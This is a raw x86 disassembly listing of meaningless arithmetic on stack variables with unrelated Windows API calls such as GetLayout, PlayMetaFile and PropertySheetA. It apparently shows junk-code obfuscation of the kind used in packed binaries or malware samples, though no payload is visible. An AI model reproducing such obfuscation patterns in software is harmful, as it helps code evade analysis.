mov ecx, dword [ebp - 0x2fe0]
mov byte [ecx], al
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
mov ecx, dword [0x5193c4]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xb50], ax
movzx eax, byte [ebp - 0xd1]
movzx ecx, byte [ebp - 0xd2]
sub eax, ecx
mov byte [ebp - 0xd4], al
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2e5c]
shr eax, cl
mov ecx, dword [ebp - 0x2f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2ffc]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2fa4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
or eax, dword [ebp - 0x2fbc]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [0x5193bc]
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2ff4]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb58]
sub edx, eax
mov word [0x5193c0], dx
mov ecx, dword [ebp - 0x3014]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd0]
sub edx, eax
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x301c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2ffc]
mov ecx, dword [ebp - 0x2fc4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3064]
mov eax, dword [0x5193b8]
sub eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2fa4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2e28]
add eax, 0x1d
mov dword [ebp - 0x2e28], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2ffc]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb48]
movzx edx, word [ebp - 0xb44]
add ecx, edx
mov eax, dword [ebp - 0x2e6c]
mov word [eax], cx
movzx ecx, byte [ebp - 0xd1]
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xd3], cl
movsx ecx, byte [ebp - 0xce]
movsx edx, byte [ebp - 0xcd]
add ecx, edx
mov byte [ebp - 0x15], cl
movzx eax, word [ebp - 0xb5c]
movzx ecx, word [ebp - 0xb44]
shl eax, cl
mov word [0x5193c0], ax
jmp 0x41cd96
mov ecx, dword [ebp - 0x2fc0]
mov edx, dword [0x5193b8]
or edx, dword [ecx]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x3020]
movzx ecx, word [eax]
mov dword [ebp - 0x3070], ecx
cmp dword [ebp - 0x3070], 0x743
je 0x41cf88
jmp 0x41cfbd
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2ff4]
sar eax, cl
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [0x5193c4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xb48], ax
jmp 0x41d024
lea eax, [ebp - 0xcf]
mov dword [ebp - 0x3074], eax
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2f2c]
sub edx, dword [ecx]
cmp eax, edx
jle 0x41d024
mov eax, dword [ebp - 0x2e98]
push eax
call dword [sym.imp.GDI32.dll_GetLayout]
mov dword [ebp - 0x3078], eax
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2ff4]
add edx, dword [0x518008]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ff4]
and ecx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2ff4]
mov dword [ebp - 0x307c], edx
cmp dword [ebp - 0x307c], 0
je 0x41d060
cmp dword [ebp - 0x307c], 0xde203b4
je 0x41d110
jmp 0x41d1c6
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
movsx edx, byte [0x518004]
add ecx, edx
movsx eax, byte [ebp - 0x15]
movsx edx, byte [ebp - 0xcd]
sub eax, edx
cmp ecx, eax
je 0x41d0d5
mov eax, dword [ebp - 0x2e5c]
mov ecx, dword [ebp - 0x2dfc]
shr eax, cl
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
lea edx, [ebp - 0xb58]
mov dword [ebp - 0x3080], edx
movzx eax, byte [ebp - 0xd0]
movzx ecx, byte [ebp - 0xd1]
or eax, ecx
mov byte [ebp - 0xd2], al
mov dword [ebp - 0x3084], 0x7359
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [edx]
mov dword [ebp - 0x3088], eax
jmp 0x41d10b
movzx ecx, byte [ebp - 0xce]
push ecx
mov edx, dword [ebp - 0x2ea0]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0xce]
push ecx
mov edx, dword [ebp - 0x2ea0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2ea0]
movzx edx, byte [ecx]
push edx
call fcn.004eefc0
add esp, 0x14
jmp 0x41d1c6
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2fbc], ecx
mov edx, dword [ebp - 0x2e60]
and edx, dword [ebp - 0x3078]
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [ebp - 0x2dfc]
add ecx, dword [eax]
cmp edx, ecx
jne 0x41d1c6
movzx edx, word [ebp - 0xb54]
mov dword [ebp - 0x308c], edx
cmp dword [ebp - 0x308c], 0x2f
je 0x41d1b2
cmp dword [ebp - 0x308c], 0x999
je 0x41d16a
jmp 0x41d1c6
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x2f8c]
mov dword [edx], ecx
push 0x43
mov eax, dword [ebp - 0x3090]
push eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
mov dword [ebp - 0x3088], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
push ecx
call fcn.004edd80
add esp, 8
jmp 0x41d1c6
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
add eax, dword [ebp - 0x2fbc]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2e38]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2fa4]
mov ecx, dword [ebp - 0x2fc4]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
jle 0x41d2c9
lea ecx, [ebp - 0xe454]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [ebp - 0x2ff4], eax
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2ffc]
mov ecx, dword [ebp - 0x2fd4]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xd2]
mov eax, dword [ebp - 0x3014]
movzx ecx, byte [eax]
or edx, ecx
movzx eax, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd3]
shl eax, cl
cmp edx, eax
jl 0x41d28a
mov ecx, dword [ebp - 0x2f84]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x15]
sub edx, eax
mov byte [ebp - 0xcd], dl
mov ecx, dword [ebp - 0x3094]
push ecx
mov edx, dword [ebp - 0x2e98]
push edx
call dword [sym.imp.GDI32.dll_PlayMetaFile]
mov dword [ebp - 0x3098], eax
movzx eax, byte [ebp - 0xcd]
push eax
movzx ecx, byte [ebp - 0xcd]
push ecx
movzx edx, byte [ebp - 0xce]
push edx
call fcn.004ed7b0
nop
jmp 0x41d2c4
mov eax, dword [ebp - 0x2ebc]
movzx edx, word [eax]
movzx eax, word [ebp - 0xb48]
xor edx, eax
movzx eax, word [ebp - 0xb44]
movzx ecx, word [ebp - 0xb58]
sar eax, cl
cmp edx, eax
je 0x41d2c4
mov ecx, dword [ebp - 0x2fc4]
mov edx, dword [ebp - 0x2e38]
and edx, dword [ecx]
mov dword [0x518008], edx
jmp 0x41d3bd
movzx eax, byte [ebp - 0xd4]
movzx ecx, byte [ebp - 0xd1]
sub eax, ecx
mov edx, dword [ebp - 0x3014]
mov byte [edx], al
mov eax, dword [ebp - 0x3080]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xb5c], cx
lea ecx, [ebp - 0x2dfc]
mov dword [ebp - 0x309c], ecx
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x3088]
add eax, dword [edx]
mov ecx, dword [ebp - 0x301c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x7f4]
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
add edx, ecx
movsx eax, word [ebp - 0xb40]
movsx ecx, word [ebp - 0xb4c]
add eax, ecx
cmp edx, eax
je 0x41d3bd
movzx edx, word [ebp - 0xb54]
movzx eax, word [ebp - 0xb58]
add edx, eax
mov ecx, dword [ebp - 0x2ebc]
mov word [ecx], dx
lea edx, [ebp - 0x2f3c]
push edx
lea eax, [ebp - 0xe840]
push eax
push 0xe1
lea ecx, [ebp - 0x2ed4]
push ecx
push 0x54
mov edx, dword [ebp - 0x2f50]
push edx
call sub.WINSPOOL.DRV_EnumFormsA
mov dword [ebp - 0x2f1c], eax
mov eax, dword [ebp - 0x3074]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xd3], cl
mov ecx, dword [0x5193bc]
mov edx, dword [ebp - 0x3058]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3058]
mov eax, dword [edx]
mov dword [ebp - 0x30a0], eax
cmp dword [ebp - 0x30a0], 0
je 0x41d3d9
jmp 0x4ece7a
mov cl, byte [ebp - 0xd4]
mov byte [ebp - 0xd5], cl
movzx edx, word [ebp - 0xb54]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xb48], dx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2e64]
add eax, dword [edx]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x2fb0]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xb4c], dx
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xce], al
movzx eax, word [ebp - 0xb54]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xb50], ax
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
mov edx, dword [0x5193c4]
movzx eax, word [edx]
sub ecx, eax
mov word [0x5193c0], cx
mov ecx, dword [ebp - 0x2fac]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3078]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e5c]
sub eax, dword [ebp - 0x3078]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2fa4]
mov eax, dword [edx]
add eax, dword [ebp - 0x2fbc]
mov ecx, dword [ebp - 0x2fa4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x301c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e9c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3010]
add edx, 0x85
mov dword [ebp - 0x3010], edx
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xb54], cx
movzx edx, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd2]
sar edx, cl
mov byte [ebp - 0xd4], dl
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [ebp - 0x2f8c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb58]
and ecx, edx
mov eax, dword [0x5193c4]
mov word [eax], cx
mov ecx, dword [ebp - 0x2f8c]
mov edx, dword [ecx]
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x3020]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb44]
add ecx, edx
mov word [ebp - 0xb58], cx
movzx eax, byte [ebp - 0xd5]
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xd0], al
movsx eax, word [ebp - 0xb40]
mov ecx, dword [ebp - 0x2fb0]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], ax
movsx edx, byte [ebp - 0xce]
mov eax, dword [ebp - 0x2fe0]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2ea0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2dfc]
sub ecx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x3078], ecx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
add eax, dword [0x518008]
mov dword [ebp - 0x2ff4], eax
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xd3]
add edx, eax
mov byte [ebp - 0xd4], dl
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb54]
sub edx, eax
mov word [0x5193c0], dx
mov ecx, dword [0x518008]
or ecx, dword [ebp - 0x2f2c]
mov dword [ebp - 0x2ff4], ecx
mov edx, dword [ebp - 0x2fac]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3078]
shr eax, cl
mov ecx, dword [ebp - 0x2e70]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ff4]
mov ecx, dword [ebp - 0x2f2c]
shl edx, cl
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x3014]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xd4]
and ecx, edx
mov eax, dword [ebp - 0x3074]
mov byte [eax], cl
movzx ecx, word [0x5193c0]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb50], cx
mov ecx, dword [ebp - 0x3058]
mov edx, dword [ebp - 0x2fa0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [0x518008]
sub edx, dword [ecx]
mov dword [ebp - 0x2e38], edx
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb58]
sub ecx, edx
mov eax, dword [0x5193c4]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3088]
mov eax, dword [ebp - 0x2fa4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2f2c]
add ecx, dword [ebp - 0x2ffc]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
movsx eax, word [ebp - 0x7f4]
movsx ecx, word [ebp - 0xb4c]
add eax, ecx
mov word [ebp - 0xb40], ax
movsx edx, byte [ebp - 0xcd]
movsx eax, byte [ebp - 0xce]
add edx, eax
mov byte [ebp - 0x15], dl
mov ecx, dword [ebp - 0x3080]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb50]
sub edx, eax
mov word [ebp - 0xb58], dx
movzx edx, byte [ebp - 0xcf]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xd2], dl
mov ecx, dword [ebp - 0x2fac]
mov edx, dword [ebp - 0x2e5c]
or edx, dword [ecx]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2e5c]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb48]
xor ecx, edx
mov eax, dword [0x5193c4]
mov word [eax], cx
cmp dword [ebp - 0x3010], 0x45e0
jne 0x41d3e5
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
mov dword [ebp - 0x30a4], edx
cmp dword [ebp - 0x30a4], 0
je 0x41d822
cmp dword [ebp - 0x30a4], 0xd5
je 0x4ecd90
jmp 0x4ecdec
movzx eax, word [0x5193c0]
movzx ecx, word [ebp - 0xb54]
sub eax, ecx
mov edx, dword [ebp - 0x2ebc]
mov word [edx], ax
movzx eax, byte [ebp - 0xd2]
movzx ecx, byte [ebp - 0xd4]
and eax, ecx
mov byte [ebp - 0xd3], al
mov edx, dword [0x5193bc]
mov eax, dword [ebp - 0x2f8c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2fa0]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb48]
movzx ecx, word [ebp - 0xb44]
sub eax, ecx
mov edx, dword [0x5193c4]
mov word [edx], ax
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x2fe0]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2ea0]
mov byte [edx], cl
movsx eax, word [ebp - 0xb4c]
movsx ecx, word [ebp - 0x7f4]
xor eax, ecx
mov word [ebp - 0xb40], ax
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3080]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3020]
mov word [ecx], ax
mov edx, dword [ebp - 0x3014]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd2]
shl eax, cl
mov ecx, dword [ebp - 0x3074]
mov byte [ecx], al
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2e60]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2fbc], edx
mov eax, dword [ebp - 0x3054]
add eax, 0xf7
mov dword [ebp - 0x3054], eax
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ffc]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3058]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2dfc]
mov eax, dword [ebp - 0x2ed8]
mov dword [eax], edx
movzx ecx, word [ebp - 0xb5c]
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x5193c4]
mov word [edx], cx
movzx eax, word [ebp - 0xb50]
movzx ecx, word [ebp - 0xb54]
sub eax, ecx
mov edx, dword [ebp - 0x3020]
mov word [edx], ax
movzx eax, byte [ebp - 0xd3]
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2ef8]
mov byte [ecx], al
mov edx, dword [ebp - 0x2fc4]
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2ff4], ecx
mov edx, dword [ebp - 0x3058]
mov eax, dword [edx]
and eax, dword [ebp - 0x3078]
mov ecx, dword [ebp - 0x2fac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ff4]
add edx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2ff4]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3014]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x2ef8]
mov byte [edx], cl
movzx eax, word [ebp - 0xb5c]
mov ecx, dword [ebp - 0x2eac]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb58]
xor eax, ecx
mov edx, dword [0x5193c4]
mov word [edx], ax
movsx eax, byte [ebp - 0xcd]
movsx ecx, byte [ebp - 0xce]
sub eax, ecx
mov byte [ebp - 0x15], al
mov edx, dword [ebp - 0x2e60]
and edx, dword [0x5193b8]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2fa4]
mov ecx, dword [ebp - 0x2fbc]
sub ecx, dword [eax]
mov dword [ebp - 0x2e38], ecx
movzx edx, word [ebp - 0xb58]
movzx eax, word [ebp - 0xb5c]
add edx, eax
mov word [ebp - 0xb44], dx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ebp - 0x309c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x3078], eax
mov ecx, dword [ebp - 0x2fbc]
add ecx, dword [ebp - 0x3088]
mov edx, dword [ebp - 0x2fc4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2e5c]
add edx, dword [ebp - 0x2e60]
mov eax, dword [0x5193bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xcf]
and edx, eax
mov byte [ebp - 0xd2], dl
movzx edx, word [ebp - 0xb48]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xb5c], dx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [0x518008]
or edx, dword [ecx]
mov dword [ebp - 0x3088], edx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x2f2c]
xor ecx, dword [eax]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x309c]
mov eax, dword [0x5193bc]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x3078], edx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x301c]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2ff4], edx
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xb40]
and ecx, edx
mov word [ebp - 0xb4c], cx
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x2fe0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x518004], cl
cmp dword [ebp - 0x3054], 0x21b4
jbe 0x41d822
cmp dword [ebp - 0x3084], 0x98d9
je 0x41df55
movzx ecx, word [ebp - 0xb44]
mov edx, dword [0x5193c4]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb5c], cx
movzx ecx, byte [ebp - 0xd4]
movzx edx, byte [ebp - 0xd0]
add ecx, edx
mov byte [ebp - 0xcf], cl
mov eax, dword [ebp - 0x309c]
mov ecx, dword [ebp - 0x3078]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2fac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x301c]
mov ecx, dword [ebp - 0x2ff4]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xcf]
movzx ecx, byte [ebp - 0xd3]
sub eax, ecx
mov byte [ebp - 0xd0], al
mov edx, dword [0x5193c4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb5c]
sub eax, ecx
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x309c]
mov eax, dword [ebp - 0x2fc0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3058]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fc4]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2e38]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x301c]
mov edx, dword [ebp - 0x2ffc]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2dfc]
xor eax, dword [ebp - 0x3078]
mov ecx, dword [ebp - 0x3058]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2ec0]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3074]
mov byte [edx], al
movzx eax, word [ebp - 0xb48]
movzx ecx, word [ebp - 0xb44]
and eax, ecx
mov edx, dword [ebp - 0x3020]
mov word [edx], ax
mov eax, dword [ebp - 0x2fd4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2ff4]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x3084]
add edx, 0xf0
mov dword [ebp - 0x3084], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e64]
add ecx, dword [eax]
mov edx, dword [ebp - 0x301c]
mov dword [edx], ecx
movsx eax, word [ebp - 0x7f4]
movsx ecx, word [ebp - 0xb40]
and eax, ecx
mov edx, dword [ebp - 0x2fb0]
mov word [edx], ax
mov eax, dword [ebp - 0x2fe0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xce]
sub ecx, edx
mov eax, dword [ebp - 0x2ed0]
mov byte [eax], cl
movzx ecx, word [ebp - 0xb54]
mov edx, dword [ebp - 0x3020]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb58], cx
mov ecx, dword [0x5193c4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2eac]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [0x5193c4]
mov word [eax], dx
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ebp - 0x3064]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2fa0]
mov edx, dword [ebp - 0x2e60]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2fac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2fd4]
mov edx, dword [ebp - 0x3088]
xor edx, dword [ecx]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2ff4]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2ffc]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x3088], edx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x3074]
mov byte [edx], cl
mov eax, dword [ebp - 0x3080]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb54]
and ecx, edx
mov word [ebp - 0xb5c], cx
mov eax, dword [ebp - 0x2fac]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3078]
mov edx, dword [ebp - 0x2eb8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2fbc]
add eax, dword [0x518008]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb54]
movzx eax, word [ebp - 0xb48]
add edx, eax
mov ecx, dword [0x5193c4]
mov word [ecx], dx
mov edx, dword [ebp - 0x2fa0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3078]
mov ecx, dword [ebp - 0x2e70]
mov dword [ecx], eax
mov edx, dword [0x5193c4]
